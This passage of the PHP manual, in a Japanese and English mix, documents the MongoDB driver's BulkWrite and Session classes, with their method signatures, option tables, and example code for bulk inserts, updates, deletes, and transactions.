$bulk->delete(['x' => 1]);

?>

Will result in four write commands (i.e. roundtrips) being executed. Since the operations are ordered, the third insertion cannot be sent until the preceding update is executed.

例2 Ordered write operations causing an error

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => true]);
$bulk->delete([]);
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 3, 'hello' => 'world']);
$bulk->update(['_id' => 3], ['$set' => ['hello' => 'earth']]);
$bulk->insert(['_id' => 4, 'hello' => 'pluto']);
$bulk->update(['_id' => 4], ['$set' => ['hello' => 'moon']]);
$bulk->insert(['_id' => 3]);
$bulk->insert(['_id' => 4]);
$bulk->insert(['_id' => 5]);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$writeConcern = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 1000);

try {
    $result = $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
    $result = $e->getWriteResult();

    // Check if the write concern could not be fulfilled
    if ($writeConcernError = $result->getWriteConcernError()) {
        printf("%s (%d): %s\n",
            $writeConcernError->getMessage(),
            $writeConcernError->getCode(),
            var_export($writeConcernError->getInfo(), true)
        );
    }

    // Check if any write operations did not complete at all
    foreach ($result->getWriteErrors() as $writeError) {
        printf("Operation#%d: %s (%d)\n",
            $writeError->getIndex(),
            $writeError->getMessage(),
            $writeError->getCode()
        );
    }
} catch (MongoDB\Driver\Exception\Exception $e) {
    printf("Other error: %s\n", $e->getMessage());
    exit;
}

printf("Inserted %d document(s)\n", $result->getInsertedCount());
printf("Updated  %d document(s)\n", $result->getModifiedCount());

?>

上の例の出力は以下となります。

Operation#7: E11000 duplicate key error index: db.collection.$_id_ dup key: { : 3 } (11000)
Inserted 4 document(s)
Updated  2 document(s)

If the write concern could not be fullfilled, the example above would output something like:

waiting for replication timed out (64): array (
  'wtimeout' => true,
)
Operation#7: E11000 duplicate key error index: databaseName.collectionName.$_id_ dup key: { : 3 } (11000)
Inserted 4 document(s)
Updated  2 document(s)

If we execute the example above, but allow for unordered writes:

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => false]);
/* ... */

?>

上の例の出力は以下となります。

Operation#7: E11000 duplicate key error index: db.collection.$_id_ dup key: { : 3 } (11000)
Operation#8: E11000 duplicate key error index: db.collection.$_id_ dup key: { : 4 } (11000)
Inserted 5 document(s)
Updated  2 document(s)

参考

  • MongoDB\Driver\Manager::executeBulkWrite()
  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\WriteConcernError
  • MongoDB\Driver\WriteError

目次

  • MongoDB\Driver\BulkWrite::__construct — Create a new BulkWrite
  • MongoDB\Driver\BulkWrite::count — Count number of write operations in the bulk
  • MongoDB\Driver\BulkWrite::delete — Add a delete operation to the bulk
  • MongoDB\Driver\BulkWrite::insert — Add an insert operation to the bulk
  • MongoDB\Driver\BulkWrite::update — Add an update operation to the bulk

User Contributed Notes

There are no user contributed notes for this page.


Create a new BulkWrite

  • ≪ MongoDB\Driver\BulkWrite
  • MongoDB\Driver\BulkWrite::count ≫
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Create a new BulkWrite

MongoDB\Driver\BulkWrite::__construct

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::__construct — Create a new BulkWrite

説明

public MongoDB\Driver\BulkWrite::__construct ( array $options = ? )

Constructs a new MongoDB\Driver\BulkWrite, which is a mutable object to which one or more write operations may be added. The write(s) may then be executed with MongoDB\Driver\Manager::executeBulkWrite().

パラメータ

options (array)

options
Option | Type | Description | Default
bypassDocumentValidation bool

If true, allows insert and update operations to circumvent document level validation.

This option is available in MongoDB 3.2+ and is ignored for older server versions, which do not support document level validation.

false
ordered | bool | Ordered operations (true) are executed serially on the MongoDB server, while unordered operations (false) are sent to the server in an arbitrary order and may be executed in parallel. | true

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

変更履歴

バージョン | 説明
PECL mongodb 1.1.0 | Added the "bypassDocumentValidation" option.

例

例1 MongoDB\Driver\BulkWrite::__construct() example

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => true]);
$bulk->delete([]);
$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);
$bulk->update(
    ['x' => 2],
    ['$set' => ['x' => 1]],
    ['limit' => 1, 'upsert' => false]
);
$bulk->delete(['x' => 1], ['limit' => 1]);
$bulk->update(
    ['_id' => 3],
    ['$set' => ['x' => 3]],
    ['limit' => 1, 'upsert' => true]
);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$writeConcern = new MongoDB\Driver\WriteConcern(1);

try {
    $result = $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
    $result = $e->getWriteResult();

    // Check if the write concern could not be fulfilled
    if ($writeConcernError = $result->getWriteConcernError()) {
        printf("%s (%d): %s\n",
            $writeConcernError->getMessage(),
            $writeConcernError->getCode(),
            var_export($writeConcernError->getInfo(), true)
        );
    }

    // Check if any write operations did not complete at all
    foreach ($result->getWriteErrors() as $writeError) {
        printf("Operation#%d: %s (%d)\n",
            $writeError->getIndex(),
            $writeError->getMessage(),
            $writeError->getCode()
        );
    }
} catch (MongoDB\Driver\Exception\Exception $e) {
    printf("Other error: %s\n", $e->getMessage());
    exit;
}

printf("Inserted %d document(s)\n", $result->getInsertedCount());
printf("Updated  %d document(s)\n", $result->getModifiedCount());
printf("Upserted %d document(s)\n", $result->getUpsertedCount());
printf("Deleted  %d document(s)\n", $result->getDeletedCount());

?>

上の例の出力は以下となります。

Inserted 2 document(s)
Updated  1 document(s)
Upserted 1 document(s)
Deleted  1 document(s)

参考

  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations
  • MongoDB\Driver\WriteResult

User Contributed Notes

There are no user contributed notes for this page.


Count number of write operations in the bulk

  • ≪ MongoDB\Driver\BulkWrite::__construct
  • MongoDB\Driver\BulkWrite::delete ≫
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Count number of write operations in the bulk

MongoDB\Driver\BulkWrite::count

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::count — Count number of write operations in the bulk

説明

public MongoDB\Driver\BulkWrite::count ( ) : int

Returns the number of write operations added to the MongoDB\Driver\BulkWrite object.

パラメータ

この関数にはパラメータはありません。

返り値

Returns number of write operations added to the MongoDB\Driver\BulkWrite object.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

変更履歴

バージョン | 説明
PECL mongodb 1.2.0 | Returns the number of write operations added to the MongoDB\Driver\BulkWrite object. Earlier versions returned the expected number of client-to-server roundtrips required to execute all write operations.

例

例1 MongoDB\Driver\BulkWrite::count() example

<?php

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);
$bulk->update(['x' => 2], ['$set' => ['x' => 1]]);
$bulk->delete(['x' => 1]);

var_dump(count($bulk));

?>

上の例の出力は以下となります。

int(4)

User Contributed Notes

There are no user contributed notes for this page.


Add a delete operation to the bulk

  • ≪ MongoDB\Driver\BulkWrite::count
  • MongoDB\Driver\BulkWrite::insert ≫
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Add a delete operation to the bulk

MongoDB\Driver\BulkWrite::delete

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::delete — Add a delete operation to the bulk

説明

public MongoDB\Driver\BulkWrite::delete ( array|object $filter , array $deleteOptions = ? ) : void

Adds a delete operation to the MongoDB\Driver\BulkWrite.

パラメータ

filter (array|object)

» クエリ述語。 空の述語を指定すると、コレクション内のすべてのドキュメントにマッチします。

注意: When evaluating query criteria, MongoDB compares types and values according to its own » comparison rules for BSON types, which differs from PHP's comparison and type juggling rules. When matching a special BSON type the query criteria should use the respective BSON class (e.g. use MongoDB\BSON\ObjectId to match an » ObjectId).

deleteOptions

deleteOptions
Option | Type | Description | Default
collation array|object

» Collation は、文字列比較の際の言語固有のルールを指定するものです。たとえば、大文字小文字やアクセント記号の扱いを指定できます。 collation を指定するときには "locale" フィールドが必須となります。それ以外の collation フィールドはすべて任意指定です。 各フィールドについての説明は » Collation のドキュメント を参照ください。

collation が未指定で collection のデフォルトの collation が設定されている場合は、コレクションが持っている collation を用いて操作を実行します。 コレクションや操作にも collation が指定されていない場合は、MongoDB は単純にバイナリ比較を行います。 これは、今までのバージョンでの文字列比較と同じ方法です。

このオプションは MongoDB 3.4 以降で使用可能です。それより前のバージョンのサーバー上で指定すると、実行時に例外が発生します。

hint string|array|object

Index specification. Specify either the index name as a string or the index key pattern. If specified, then the query system will only consider plans using the hinted index.

This option is available in MongoDB 4.4+ and will result in an exception at execution time if specified for an older server version.

limit | bool | Delete all matching documents (false), or only the first matching document (true) | false

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

変更履歴

バージョン | 説明
PECL mongodb 1.8.0 | Added the "hint" option.
PECL mongodb 1.2.0 | Added the "collation" option.

例

例1 MongoDB\Driver\BulkWrite::delete() example

<?php

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->delete(['x' => 1], ['limit' => 1]);
$bulk->delete(['x' => 2], ['limit' => 0]);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$result = $manager->executeBulkWrite('db.collection', $bulk);

?>

参考

  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations
  • MongoDB\Driver\WriteResult

User Contributed Notes

There are no user contributed notes for this page.


Add an insert operation to the bulk

  • ≪ MongoDB\Driver\BulkWrite::delete
  • MongoDB\Driver\BulkWrite::update ≫
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Add an insert operation to the bulk

MongoDB\Driver\BulkWrite::insert

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::insert — Add an insert operation to the bulk

説明

public MongoDB\Driver\BulkWrite::insert ( array|object $document ) : mixed

Adds an insert operation to the MongoDB\Driver\BulkWrite.

パラメータ

document (array|object)

A document to insert.

返り値

Returns the _id of the inserted document. If the document did not have an _id, the MongoDB\BSON\ObjectId generated for the insert will be returned.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | The _id of the inserted document is always returned. Previously, the method only returned a value if a MongoDB\BSON\ObjectId was generated.

例

例1 MongoDB\Driver\BulkWrite::insert() example

<?php

$bulk = new MongoDB\Driver\BulkWrite;

$document1 = ['title' => 'one'];
$document2 = ['_id' => 'custom ID', 'title' => 'two'];
$document3 = ['_id' => new MongoDB\BSON\ObjectId, 'title' => 'three'];

$_id1 = $bulk->insert($document1);
$_id2 = $bulk->insert($document2);
$_id3 = $bulk->insert($document3);

var_dump($_id1, $_id2, $_id3);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$result = $manager->executeBulkWrite('db.collection', $bulk);

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\BSON\ObjectId)#3 (1) {
  ["oid"]=>
  string(24) "54d51146bd21b91405401d92"
}
NULL
NULL

参考

  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations
  • MongoDB\Driver\WriteResult
  • MongoDB\BSON\ObjectId
  • MongoDB\BSON\Persistable

User Contributed Notes

There are no user contributed notes for this page.


Add an update operation to the bulk

  • ≪ MongoDB\Driver\BulkWrite::insert
  • MongoDB\Driver\Session ≫
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Add an update operation to the bulk

MongoDB\Driver\BulkWrite::update

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::update — Add an update operation to the bulk

説明

public MongoDB\Driver\BulkWrite::update ( array|object $filter , array|object $newObj , array $updateOptions = ? ) : void

Adds an update operation to the MongoDB\Driver\BulkWrite.

パラメータ

filter (array|object)

» クエリ述語。 空の述語を指定すると、コレクション内のすべてのドキュメントにマッチします。

注意: When evaluating query criteria, MongoDB compares types and values according to its own » comparison rules for BSON types, which differs from PHP's comparison and type juggling rules. When matching a special BSON type the query criteria should use the respective BSON class (e.g. use MongoDB\BSON\ObjectId to match an » ObjectId).

newObj (array|object)

A document containing either update operators (e.g. $set), a replacement document (i.e. only field:value expressions), or an » aggregation pipeline.

updateOptions

updateOptions
Option | Type | Description | Default
arrayFilters array

An array of filter documents that determines which array elements to modify for an update operation on an array field. See » Specify arrayFilters for Array Update Operations in the MongoDB manual for more information.

This option is available in MongoDB 3.6+ and will result in an exception at execution time if specified for an older server version.

collation array|object

» Collation は、文字列比較の際の言語固有のルールを指定するものです。たとえば、大文字小文字やアクセント記号の扱いを指定できます。 collation を指定するときには "locale" フィールドが必須となります。それ以外の collation フィールドはすべて任意指定です。 各フィールドについての説明は » Collation のドキュメント を参照ください。

collation が未指定で collection のデフォルトの collation が設定されている場合は、コレクションが持っている collation を用いて操作を実行します。 コレクションや操作にも collation が指定されていない場合は、MongoDB は単純にバイナリ比較を行います。 これは、今までのバージョンでの文字列比較と同じ方法です。

このオプションは MongoDB 3.4 以降で使用可能です。それより前のバージョンのサーバー上で指定すると、実行時に例外が発生します。

hint string|array|object

Index specification. Specify either the index name as a string or the index key pattern. If specified, then the query system will only consider plans using the hinted index.

This option is available in MongoDB 4.2+ and will result in an exception at execution time if specified for an older server version.

multi | bool | Update only the first matching document if false, or all matching documents true. This option cannot be true if newObj is a replacement document. | false
upsert | bool | If filter does not match an existing document, insert a single document. The document will be created from newObj if it is a replacement document (i.e. no update operators); otherwise, the operators in newObj will be applied to filter to create the new document. | false

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

変更履歴

バージョン | 説明
PECL mongodb 1.7.0 | Added the "hint" option.
PECL mongodb 1.6.0 | The newObj parameter now accepts an aggregation pipeline. This feature requires MongoDB 4.2+ and will result in an exception at execution time if specified for an older server version.
PECL mongodb 1.5.0 | Using the "arrayFilters" option will result in an exception at execution time if unsupported by the server. Previously, no exception would be thrown and the option may have been ignored.
PECL mongodb 1.4.0 | Added the "arrayFilters" option.
PECL mongodb 1.2.0 | Added the "collation" option.

例

例1 MongoDB\Driver\BulkWrite::update() example

<?php

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->update(
    ['x' => 2],
    ['$set' => ['y' => 3]],
    ['multi' => false, 'upsert' => false]
);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$result = $manager->executeBulkWrite('db.collection', $bulk);

?>

参考

  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations
  • MongoDB\Driver\WriteResult

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Session class

(mongodb >=1.4.0)

はじめに

The MongoDB\Driver\Session class represents a client session and is returned by MongoDB\Driver\Manager::startSession(). Commands, queries, and write operations may then be associated the session.

クラス概要

final MongoDB\Driver\Session {
/* Constants */
const string TRANSACTION_NONE = none ;
const string TRANSACTION_STARTING = starting ;
const string TRANSACTION_IN_PROGRESS = in_progress ;
const string TRANSACTION_COMMITTED = committed ;
const string TRANSACTION_ABORTED = aborted ;
/* メソッド */
final public abortTransaction ( ) : void
final public advanceClusterTime ( array|object $clusterTime ) : void
final public advanceOperationTime ( MongoDB\BSON\TimestampInterface $operationTime ) : void
final public commitTransaction ( ) : void
final private __construct ( )
final public endSession ( ) : void
final public getClusterTime ( ) : object|null
final public getLogicalSessionId ( ) : object
final public getOperationTime ( ) : MongoDB\BSON\Timestamp|null
final public getServer ( ) : MongoDB\Driver\Server|null
final public getTransactionOptions ( ) : array|null
final public getTransactionState ( ) : string
final public isInTransaction ( ) : bool
final public startTransaction ( array $options = ? ) : void
}

定義済み定数

MongoDB\Driver\Session::TRANSACTION_NONE

There is no transaction in progress.

MongoDB\Driver\Session::TRANSACTION_STARTING

A transaction has been started, but no operation has been sent to the server.

MongoDB\Driver\Session::TRANSACTION_IN_PROGRESS

A transaction is in progress.

MongoDB\Driver\Session::TRANSACTION_COMMITTED

The transaction was committed.

MongoDB\Driver\Session::TRANSACTION_ABORTED

The transaction was aborted.

目次

  • MongoDB\Driver\Session::abortTransaction — Aborts a transaction
  • MongoDB\Driver\Session::advanceClusterTime — Advances the cluster time for this session
  • MongoDB\Driver\Session::advanceOperationTime — Advances the operation time for this session
  • MongoDB\Driver\Session::commitTransaction — Commits a transaction
  • MongoDB\Driver\Session::__construct — Create a new Session (not used)
  • MongoDB\Driver\Session::endSession — Terminates a session
  • MongoDB\Driver\Session::getClusterTime — Returns the cluster time for this session
  • MongoDB\Driver\Session::getLogicalSessionId — Returns the logical session ID for this session
  • MongoDB\Driver\Session::getOperationTime — Returns the operation time for this session
  • MongoDB\Driver\Session::getServer — Returns the server to which this session is pinned
  • MongoDB\Driver\Session::getTransactionOptions — Returns options for the currently running transaction
  • MongoDB\Driver\Session::getTransactionState — Returns the current transaction state for this session
  • MongoDB\Driver\Session::isInTransaction — Returns whether a multi-document transaction is in progress
  • MongoDB\Driver\Session::startTransaction — Starts a transaction

User Contributed Notes

There are no user contributed notes for this page.


Aborts a transaction

  • ≪ MongoDB\Driver\Session
  • MongoDB\Driver\Session::advanceClusterTime ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Aborts a transaction

MongoDB\Driver\Session::abortTransaction

(mongodb >=1.5.0)

MongoDB\Driver\Session::abortTransaction — Aborts a transaction

説明

final public MongoDB\Driver\Session::abortTransaction ( ) : void

Terminates the multi-document transaction and rolls back any data changes made by the operations within the transaction. That is, the transaction ends without saving any of the changes made by the operations in the transaction.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException if the transaction could not be aborted (e.g. a transaction was not started).

参考

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client
  • MongoDB\Driver\Session::commitTransaction() - Commits a transaction
  • MongoDB\Driver\Session::startTransaction() - Starts a transaction

User Contributed Notes

There are no user contributed notes for this page.


Advances the cluster time for this session

  • ≪ MongoDB\Driver\Session::abortTransaction
  • MongoDB\Driver\Session::advanceOperationTime ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Advances the cluster time for this session

MongoDB\Driver\Session::advanceClusterTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::advanceClusterTime — Advances the cluster time for this session

説明

final public MongoDB\Driver\Session::advanceClusterTime ( array|object $clusterTime ) : void

Advances the cluster time for this session. If the cluster time is less than or equal to the session's current cluster time, this function is a no-op.

By using this method in conjunction with MongoDB\Driver\Session::advanceOperationTime() to copy the cluster and operation times from another session, you can ensure that operations in this session are causally consistent with the last operation in the other session.

パラメータ

clusterTime

The cluster time is a document containing a logical timestamp and server signature. Typically, this value will be obtained by calling MongoDB\Driver\Session::getClusterTime() on another session object.

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Session::advanceOperationTime() - Advances the operation time for this session
  • MongoDB\Driver\Session::getClusterTime() - Returns the cluster time for this session

User Contributed Notes

There are no user contributed notes for this page.


Advances the operation time for this session

  • ≪ MongoDB\Driver\Session::advanceClusterTime
  • MongoDB\Driver\Session::commitTransaction ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Advances the operation time for this session

MongoDB\Driver\Session::advanceOperationTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::advanceOperationTime — Advances the operation time for this session

説明

final public MongoDB\Driver\Session::advanceOperationTime ( MongoDB\BSON\TimestampInterface $operationTime ) : void

Advances the operation time for this session. If the operation time is less than or equal to the session's current operation time, this function is a no-op.

By using this method in conjunction with MongoDB\Driver\Session::advanceClusterTime() to copy the operation and cluster times from another session, you can ensure that operations in this session are causally consistent with the last operation in the other session.

パラメータ

operationTime

The operation time is a logical timestamp. Typically, this value will be obtained by calling MongoDB\Driver\Session::getOperationTime() on another session object.

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Session::advanceClusterTime() - Advances the cluster time for this session
  • MongoDB\Driver\Session::getClusterTime() - Returns the cluster time for this session

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction

  • ≪ MongoDB\Driver\Session::advanceOperationTime
  • MongoDB\Driver\Session::__construct ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Commits a transaction

MongoDB\Driver\Session::commitTransaction

(mongodb >=1.5.0)

MongoDB\Driver\Session::commitTransaction — Commits a transaction

説明

final public MongoDB\Driver\Session::commitTransaction ( ) : void

Saves the changes made by the operations in the multi-document transaction and ends the transaction. Until the commit, none of the data changes made from within the transaction are visible outside the transaction.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\CommandException if the server could not commit the transaction (e.g. due to conflicts, network issues). In case the exception's MongoDB\Driver\Exception\CommandException::getResultDocument() has a "errorLabels" element, and this array contains a "TransientTransactionError" or "UnUnknownTransactionCommitResult" value, it is safe to re-try the whole transaction. In newer versions of the driver, MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() should be used to test for this situation instead.
  • Throws MongoDB\Driver\Exception\RuntimeException if the transaction could not be commited (e.g. a transaction was not started).

参考

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client
  • MongoDB\Driver\Session::abortTransaction() - Aborts a transaction
  • MongoDB\Driver\Session::startTransaction() - Starts a transaction
  • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() - Returns whether an error label is associated with an exception

User Contributed Notes

There are no user contributed notes for this page.


Create a new Session (not used)

  • ≪ MongoDB\Driver\Session::commitTransaction
  • MongoDB\Driver\Session::endSession ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Create a new Session (not used)

MongoDB\Driver\Session::__construct

(mongodb >=1.4.0)

MongoDB\Driver\Session::__construct — Create a new Session (not used)

説明

final private MongoDB\Driver\Session::__construct ( )

MongoDB\Driver\Session objects are returned by MongoDB\Driver\Manager::startSession() and cannot be constructed directly.

パラメータ

この関数にはパラメータはありません。

参考

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client

User Contributed Notes

There are no user contributed notes for this page.


Terminates a session

  • ≪ MongoDB\Driver\Session::__construct
  • MongoDB\Driver\Session::getClusterTime ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Terminates a session

MongoDB\Driver\Session::endSession

(mongodb >=1.5.0)

MongoDB\Driver\Session::endSession — Terminates a session

説明

final public MongoDB\Driver\Session::endSession ( ) : void

This method closes an existing session. If a transaction was associated with this session, the transaction will be aborted. After calling this method, applications should not invoke other methods on the session.

注意: Sessions are also closed during garbage collection. It should not be necessary to call this method under normal circumstances.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client
  • MongoDB\Driver\Session::abortTransaction() - Aborts a transaction
  • MongoDB\Driver\Session::commitTransaction() - Commits a transaction
  • MongoDB\Driver\Session::startTransaction() - Starts a transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns the cluster time for this session

  • ≪ MongoDB\Driver\Session::endSession
  • MongoDB\Driver\Session::getLogicalSessionId ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the cluster time for this session

MongoDB\Driver\Session::getClusterTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::getClusterTime — Returns the cluster time for this session

説明

final public MongoDB\Driver\Session::getClusterTime ( ) : object|null

Returns the cluster time for this session. If the session has not been used for any operation and MongoDB\Driver\Session::advanceClusterTime() has not been called, the cluster time will be null.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the cluster time for this session, or null if the session has no cluster time.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Session::advanceClusterTime() - Advances the cluster time for this session

User Contributed Notes

There are no user contributed notes for this page.


Returns the logical session ID for this session

  • ≪ MongoDB\Driver\Session::getClusterTime
  • MongoDB\Driver\Session::getOperationTime ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the logical session ID for this session

MongoDB\Driver\Session::getLogicalSessionId

(mongodb >=1.4.0)

MongoDB\Driver\Session::getLogicalSessionId — Returns the logical session ID for this session

説明

final public MongoDB\Driver\Session::getLogicalSessionId ( ) : object

Returns the logical session ID for this session, which may be used to identify this session's operations on the server.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the logical session ID for this session.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Returns the operation time for this session

  • ≪ MongoDB\Driver\Session::getLogicalSessionId
  • MongoDB\Driver\Session::getServer ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the operation time for this session

MongoDB\Driver\Session::getOperationTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::getOperationTime — Returns the operation time for this session

説明

final public MongoDB\Driver\Session::getOperationTime ( ) : MongoDB\BSON\Timestamp|null

Returns the operation time for this session. If the session has not been used for any operation and MongoDB\Driver\Session::advanceOperationTime() has not been called, the operation time will be null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the operation time for this session, or null if the session has no operation time.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Session::advanceOperationTime() - Advances the operation time for this session

User Contributed Notes

There are no user contributed notes for this page.


Returns the server to which this session is pinned

  • ≪ MongoDB\Driver\Session::getOperationTime
  • MongoDB\Driver\Session::getTransactionOptions ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the server to which this session is pinned

MongoDB\Driver\Session::getServer

(mongodb >=1.6.0)

MongoDB\Driver\Session::getServer — Returns the server to which this session is pinned

説明

final public MongoDB\Driver\Session::getServer ( ) : MongoDB\Driver\Server|null

Returns the MongoDB\Driver\Server to which this session is pinned. If the session is not pinned to a server, null will be returned.

Session pinning is primarily used for sharded transactions, as all commands within a sharded transaction must be sent to the same mongos instance. This method is intended to be used by libraries built atop the extension to allow use of a pinned server instead of invoking server selection.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the MongoDB\Driver\Server to which this session is pinned, or null if the session is not pinned to any server.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Returns options for the currently running transaction

  • ≪ MongoDB\Driver\Session::getServer
  • MongoDB\Driver\Session::getTransactionState ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns options for the currently running transaction

MongoDB\Driver\Session::getTransactionOptions

(mongodb >=1.7.0)

MongoDB\Driver\Session::getTransactionOptions — Returns options for the currently running transaction

説明

final public MongoDB\Driver\Session::getTransactionOptions ( ) : array|null

Returns options for the currently running transaction.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a array containing current transaction options, or null if no transaction is running.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Session::getTransactionState() - Returns the current transaction state for this session

User Contributed Notes

There are no user contributed notes for this page.


Returns the current transaction state for this session

  • ≪ MongoDB\Driver\Session::getTransactionOptions
  • MongoDB\Driver\Session::isInTransaction ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the current transaction state for this session

MongoDB\Driver\Session::getTransactionState

(mongodb >=1.7.0)

MongoDB\Driver\Session::getTransactionState — Returns the current transaction state for this session

説明

final public MongoDB\Driver\Session::getTransactionState ( ) : string

Returns the transaction state for this session.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the current transaction state for this session.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Session::isInTransaction() - Returns whether a multi-document transaction is in progress
  • MongoDB\Driver\Session::getTransactionOptions() - Returns options for the currently running transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns whether a multi-document transaction is in progress

  • ≪ MongoDB\Driver\Session::getTransactionState
  • MongoDB\Driver\Session::startTransaction ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns whether a multi-document transaction is in progress

MongoDB\Driver\Session::isInTransaction

(mongodb >=1.6.0)

MongoDB\Driver\Session::isInTransaction — Returns whether a multi-document transaction is in progress

説明

final public MongoDB\Driver\Session::isInTransaction ( ) : bool

Returns whether a multi-document transaction is currently in progress for this session. A transaction is considered "in progress" if it has been started but has not been committed or aborted.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if a transaction is currently in progress for this session, and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Session::getTransactionState() - Returns the current transaction state for this session

User Contributed Notes

There are no user contributed notes for this page.


Starts a transaction

  • ≪ MongoDB\Driver\Session::isInTransaction
  • MongoDB\Driver\ClientEncryption ≫
  • PHP Manual
  • MongoDB\Driver\Session
  • Starts a transaction

MongoDB\Driver\Session::startTransaction

(mongodb >=1.5.0)

MongoDB\Driver\Session::startTransaction — Starts a transaction

説明

